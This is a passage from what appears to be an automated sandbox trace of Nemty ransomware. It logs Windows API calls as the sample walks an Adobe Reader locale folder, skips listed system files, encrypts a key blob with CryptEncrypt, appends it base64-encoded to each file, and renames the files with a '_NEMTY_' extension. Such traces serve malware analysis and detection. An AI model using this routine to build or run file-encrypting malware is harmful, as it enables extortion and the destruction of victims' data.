hHeap=0x4f90000) returned 1 [0180.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.NLD", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.NLD", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.NLD", lpUsedDefaultChar=0x0) returned 12 [0180.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.NLD", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.NLD", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.NLD", lpUsedDefaultChar=0x0) returned 12 [0180.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0180.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0180.715] Sleep (dwMilliseconds=0x5) [0180.724] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f5dde10, dwHighDateTime=0x1d561e8)) [0180.724] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f5dde10, dwHighDateTime=0x1d561e8)) [0180.724] GetLastError () returned 0x12 [0180.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.724] GetLastError () returned 0x12 [0180.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.724] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.724] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.724] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0180.724] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="MX7DKUzbNMWkdCgeNDCoJEAc/RGiq0Y8SjTR3fwWtiALMPm12Wujcne2crTX5A2k\r\nOspGlFVD2KI2Jj0ASzwL+S6oCYoF1SPjJ2n2NEajPCpvqm5aX+hvsOqt/4Lmdm8C\r\noBd/R+01R3xQasXHVd+l0zlJUfXSvslxU7oJP9iU7WfkMFn2cAaw5N+X+dC4SFGg\r\nHfI0gZsB2rJmNCSYYhvzWMWdGNQjmwM4+Z2fJ/bI1dGhnoYF8yYa6LD08s/J7P5X\r\nkrYYS9lv7UbnbeHzdzP7HxE7zW1LjCQDMo7dHqLXiBIx0FScGRlbNuAWpPcDKo5Z\r\nI9su/OgOG571DEd5DH6DFw==\r\n", pcchString=0x653e5dc) returned 1 [0180.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0180.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.724] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Spelling.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\spelling.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.725] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0180.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0180.725] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.725] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0180.727] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.727] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0180.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.727] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0180.727] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.727] CloseHandle (hObject=0x2e8) returned 1 [0180.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0180.727] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.728] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0180.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0180.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0180.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.728] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Spelling.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\spelling.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Spelling.NLD._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\spelling.nld._nemty_kgobjgd_")) returned 1 [0180.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0180.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0180.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.729] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4e4720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="updater.NLD", cAlternateFileName="")) returned 1 [0180.729] lstrcmpiW (lpString1="updater.NLD", lpString2=".") returned 1 [0180.729] lstrcmpiW (lpString1="updater.NLD", lpString2="..") returned 1 [0180.729] lstrcmpiW (lpString1="updater.NLD", lpString2="...") returned 1 [0180.729] lstrcmpiW (lpString1="updater.NLD", lpString2="windows") returned -1 [0180.729] lstrcmpiW (lpString1="updater.NLD", lpString2="$RECYCLE.BIN") returned 1 [0180.729] lstrcmpiW (lpString1="updater.NLD", lpString2="rsa") returned 1 [0180.729] lstrcmpiW (lpString1="updater.NLD", lpString2="NTDETECT.COM") returned 1 [0180.729] lstrcmpiW (lpString1="updater.NLD", lpString2="ntldr") returned 1 [0180.729] lstrcmpiW (lpString1="updater.NLD", lpString2="MSDOS.SYS") returned 1 [0180.729] lstrcmpiW (lpString1="updater.NLD", lpString2="IO.SYS") returned 1 [0180.729] lstrcmpiW (lpString1="updater.NLD", lpString2="boot.ini") returned 1 [0180.729] lstrcmpiW (lpString1="updater.NLD", lpString2="boot.ini") returned 1 [0180.729] lstrcmpiW (lpString1="updater.NLD", lpString2="AUTOEXEC.BAT") returned 1 [0180.729] lstrcmpiW (lpString1="updater.NLD", lpString2="ntuser.dat") returned 1 [0180.729] lstrcmpiW (lpString1="updater.NLD", lpString2="desktop.ini") returned 1 [0180.729] lstrcmpiW (lpString1="updater.NLD", lpString2="CONFIG.SYS") returned 1 [0180.729] lstrcmpiW (lpString1="updater.NLD", lpString2="RECYCLER") returned 1 [0180.729] lstrcmpiW (lpString1="updater.NLD", lpString2="BOOTSECT.BAK") returned 1 [0180.729] lstrcmpiW (lpString1="updater.NLD", lpString2="bootmgr") returned 1 [0180.729] lstrcmpiW (lpString1="updater.NLD", lpString2="programdata") returned 1 [0180.729] lstrcmpiW (lpString1="updater.NLD", lpString2="appdata") returned 1 [0180.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.NLD", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.NLD", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.NLD", lpUsedDefaultChar=0x0) returned 11 [0180.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.NLD", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.NLD", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.NLD", lpUsedDefaultChar=0x0) returned 11 [0180.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.NLD", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.NLD", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.NLD", lpUsedDefaultChar=0x0) returned 11 [0180.730] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.NLD", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.NLD", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.NLD", lpUsedDefaultChar=0x0) returned 11 [0180.730] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0180.730] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.730] Sleep (dwMilliseconds=0x5) [0180.739] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f603f70, dwHighDateTime=0x1d561e8)) [0180.739] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f603f70, dwHighDateTime=0x1d561e8)) [0180.739] GetLastError () returned 0x0 [0180.739] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.739] GetLastError () returned 0x0 [0180.739] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.739] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.740] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.740] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.740] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0180.740] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="IjuDd30k2457ptUR7xVcS5obd5w5V+K5H5QWxSgSxKLgUJXx4RcbUUybyMKXD4Tv\r\nBk3iWAkfip98fxaIYcz/DPpnX5PI8lq8zwREOpbECNm4zUBrKiRcVVMYZBCu1bdv\r\nZbJR/oUL+QLAAAtp5mqlTFF25N6rTL7Z27NxFKu/qDaD3WVzV4+kcoaa5ACBnOlq\r\nVvSrCFi94Jq1csDgVLiJBmRMVJmxeCdLDjw1ilKoSjmcT2cngJs7bga/V/dzki0z\r\n3daVDDjh9CCGvmNm7QdUeYLPG2y9OwqExo6s2OFX2KZ8oM+1jCEzMbtzPZ6uYcRD\r\nkIoxaP3QTtYU+r5sntU8EQ==\r\n", pcchString=0x653e5dc) returned 1 [0180.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0180.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.740] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\updater.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\updater.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.740] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0180.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0180.740] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.740] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0180.742] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.742] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0180.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.743] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0180.743] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.743] CloseHandle (hObject=0x2e8) returned 1 [0180.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0180.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0180.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0180.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0180.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.743] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\updater.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\updater.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\updater.NLD._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\updater.nld._nemty_kgobjgd_")) returned 1 [0180.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0180.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0180.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.744] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Weblink.NLD", cAlternateFileName="")) returned 1 [0180.744] lstrcmpiW (lpString1="Weblink.NLD", lpString2=".") returned 1 [0180.744] lstrcmpiW (lpString1="Weblink.NLD", lpString2="..") returned 1 [0180.744] lstrcmpiW (lpString1="Weblink.NLD", lpString2="...") returned 1 [0180.744] lstrcmpiW (lpString1="Weblink.NLD", lpString2="windows") returned -1 [0180.744] lstrcmpiW (lpString1="Weblink.NLD", lpString2="$RECYCLE.BIN") returned 1 [0180.744] lstrcmpiW (lpString1="Weblink.NLD", lpString2="rsa") returned 1 [0180.744] lstrcmpiW (lpString1="Weblink.NLD", lpString2="NTDETECT.COM") returned 1 [0180.744] lstrcmpiW (lpString1="Weblink.NLD", lpString2="ntldr") returned 1 [0180.744] lstrcmpiW (lpString1="Weblink.NLD", lpString2="MSDOS.SYS") returned 1 [0180.744] lstrcmpiW (lpString1="Weblink.NLD", lpString2="IO.SYS") returned 1 [0180.744] lstrcmpiW (lpString1="Weblink.NLD", lpString2="boot.ini") returned 1 [0180.744] lstrcmpiW (lpString1="Weblink.NLD", lpString2="boot.ini") returned 1 [0180.744] lstrcmpiW (lpString1="Weblink.NLD", lpString2="AUTOEXEC.BAT") returned 1 [0180.744] lstrcmpiW (lpString1="Weblink.NLD", lpString2="ntuser.dat") returned 1 [0180.744] lstrcmpiW (lpString1="Weblink.NLD", lpString2="desktop.ini") returned 1 [0180.744] lstrcmpiW (lpString1="Weblink.NLD", lpString2="CONFIG.SYS") returned 1 [0180.744] lstrcmpiW (lpString1="Weblink.NLD", lpString2="RECYCLER") returned 1 [0180.744] lstrcmpiW (lpString1="Weblink.NLD", lpString2="BOOTSECT.BAK") returned 1 [0180.744] lstrcmpiW (lpString1="Weblink.NLD", lpString2="bootmgr") returned 1 [0180.744] lstrcmpiW (lpString1="Weblink.NLD", lpString2="programdata") returned 1 [0180.744] lstrcmpiW (lpString1="Weblink.NLD", lpString2="appdata") returned 1 [0180.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.NLD", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.NLD", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, 